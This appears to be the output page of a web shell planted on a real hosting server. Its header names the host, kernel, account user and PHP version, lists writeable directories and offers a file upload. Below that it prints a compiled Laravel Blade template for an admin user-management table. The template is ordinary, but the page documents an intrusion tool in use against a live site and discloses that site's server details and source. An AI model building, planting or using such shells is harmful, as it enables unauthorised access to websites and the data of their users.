Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/storage/framework/views/02c76901ce915ba38fe35a3bc280f30d.php
<?php $__env->startSection('title', $breadcrumbs[count($breadcrumbs) - 1]['name']); ?>

<?php $__env->startSection('content'); ?>
    <?php echo $__env->make('components/breadcrumb', ['breadcrumbs' => $breadcrumbs], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>

    <!-- Main content -->
    <section class="content">
        <div class="container-fluid">

            <div class="card card-solid">
                <div class="card-body">
                    <table id="example1" class="table table-sm table-bordered table-striped">
                        <thead>
                            <tr>
                                <th class="text-center">User</th>
                                <th class="text-center">Party</th>
                                <th class="text-center">Party Name</th>
                                <th class="text-center">Roles</th>
                                <th class="text-center">Active</th>
                                <th class="text-center">Updated</th>
                                <th class="text-center d-print-none">#</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php $__currentLoopData = $query; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $data): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <tr>
                                    <td>
                                        <div class="user-block">
                                            <img src="https://ui-avatars.com/api/?color=ffffff&background=0ab204&name=<?php echo e($data->name); ?>"
                                                alt="avatar" class="img-circle img-bordered-sm">
                                            <span class="username"><?php echo e($data->name); ?></span>
                                            <span class="description"><?php echo e($data->email); ?></span>
                                        </div>
                                    </td>
                                    <td>
                                        <?php if($data->model_type == 'App\Models\Bussiness'): ?>
                                            Bussiness
                                        <?php elseif($data->model_type == 'App\Models\Master\Tenant'): ?>
                                            Tenant
                                        <?php elseif($data->model_type == 'App\Models\Master\Customer'): ?>
                                            Customer
                                        <?php endif; ?>
                                    </td>
                                    <td>
                                        <?php echo e($data->model ? ($data->model_type == 'App\Models\Bussiness' && $data->model->is_head == 1 ? $data->model->name.' (HO)' : $data->model->name) : 'N/A'); ?>

                                    </td>
                                    <td>
                                        <?php $__currentLoopData = $data->roles; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $subdata): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                            <span class="badge bg-indigo my-1">
                                                <?php echo e($subdata->name); ?>

                                            </span>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    </td>
                                    <td>
                                        <input type="checkbox" <?php echo e($data->is_active == 1 ? 'checked' : ''); ?> disabled />
                                    </td>
                                    <td>
                                        <?php echo e($data->updated_at); ?>

                                    </td>
                                    <td class="d-print-none">
                                        <a href="<?php echo e(route('admin.users.edit', $data->id)); ?>" class="mr-1">
                                            <span class="badge bg-warning p-1"><i class="fa fa-edit"></i> Edit</span>
                                        </a>

                                        <a onclick="return confirm('Are you sure?')"
                                            href="<?php echo e(route('admin.users.destroy', $data->id)); ?>">
                                            <span class="badge bg-danger p-1"><i class="fa fa-trash"></i> Delete</span>
                                        </a>
                                    </td>
                                </tr>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </tbody>
                    </table>
                </div>
            </div>

        </div><!--/. container-fluid -->
    </section>
    <!-- /.content -->
<?php $__env->stopSection(); ?>

<?php $__env->startSection('page-style'); ?>
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/datatables-bs4/css/dataTables.bootstrap4.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/datatables-buttons/css/buttons.bootstrap4.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/toastr/toastr.min.css')); ?>">

    <style>
        button.colorCreate,
        a.colorCreate {
            color: white !important;
            background-color: black !important;
        }

        ,
    </style>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('page-script'); ?>
    <script src="<?php echo e(asset('assets/plugins/datatables/dataTables.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables/dataTables.bootstrap4.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/dataTables.buttons.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.bootstrap4.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.print.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/jszip.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.html5.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.colVis.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/toastr/toastr.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/external/load-toastr.js')); ?>"></script>

    <script>
        loadToastr(<?php echo json_encode(Session::get('message')); ?>);
        $("#example1").DataTable({
            paging: true,
            lengthChange: true,
            searching: true,
            ordering: true,
            info: true,
            autoWidth: false,
            responsive: true,
            pageLength: 100,
            scrollY: true,

            columnDefs: [{
                    data: 'user',
                    name: 'user',
                    targets: 0,
                    className: 'dt-body-left'
                },
                {
                    data: 'model_type',
                    name: 'model_type',
                    targets: 1,
                    className: 'dt-body-left'
                },
                {
                    data: 'model',
                    name: 'model',
                    targets: 2,
                    className: 'dt-body-left'
                },
                {
                    data: 'roles',
                    name: 'roles',
                    targets: 3,
                    className: 'dt-body-left'
                },
                {
                    data: 'is_active',
                    name: 'is_active',
                    targets: 4,
                    className: 'dt-body-center'
                },
                {
                    data: 'updated_at',
                    name: 'updated_at',
                    targets: 5,
                    className: 'dt-body-left',
                    width: 150,
                },
                {
                    data: 'action',
                    name: 'action',
                    targets: 6,
                    className: 'dt-body-center',
                    width: 150,
                    orderable: false,
                }
            ],

            buttons: [{
                    text: '+ Create',
                    className: 'colorCreate',
                    action: function(e, dt, node, config) {
                        create();
                    }
                },
                'pageLength',
                {
                    extend: 'collection',
                    text: 'Control',
                    buttons: [
                        'copy', 'excel', 'print',
                        {
                            text: 'Visibility',
                            popoverTitle: 'Control',
                            extend: 'colvis',
                            collectionLayout: 'two-column',
                            postfixButtons: ['colvisRestore']
                        }
                    ]
                }
            ],
            layout: {
                topStart: ['buttons']
            }
        });

        function create() {
            window.location.href = "<?php echo e(route('admin.users.create')); ?>";
        }
    </script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts/app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /home/elvh3918/public_html/pmm/resources/views/content/admin/users/index.blade.php ENDPATH**/ ?>

Yohohohohohooho | Sanrei Aya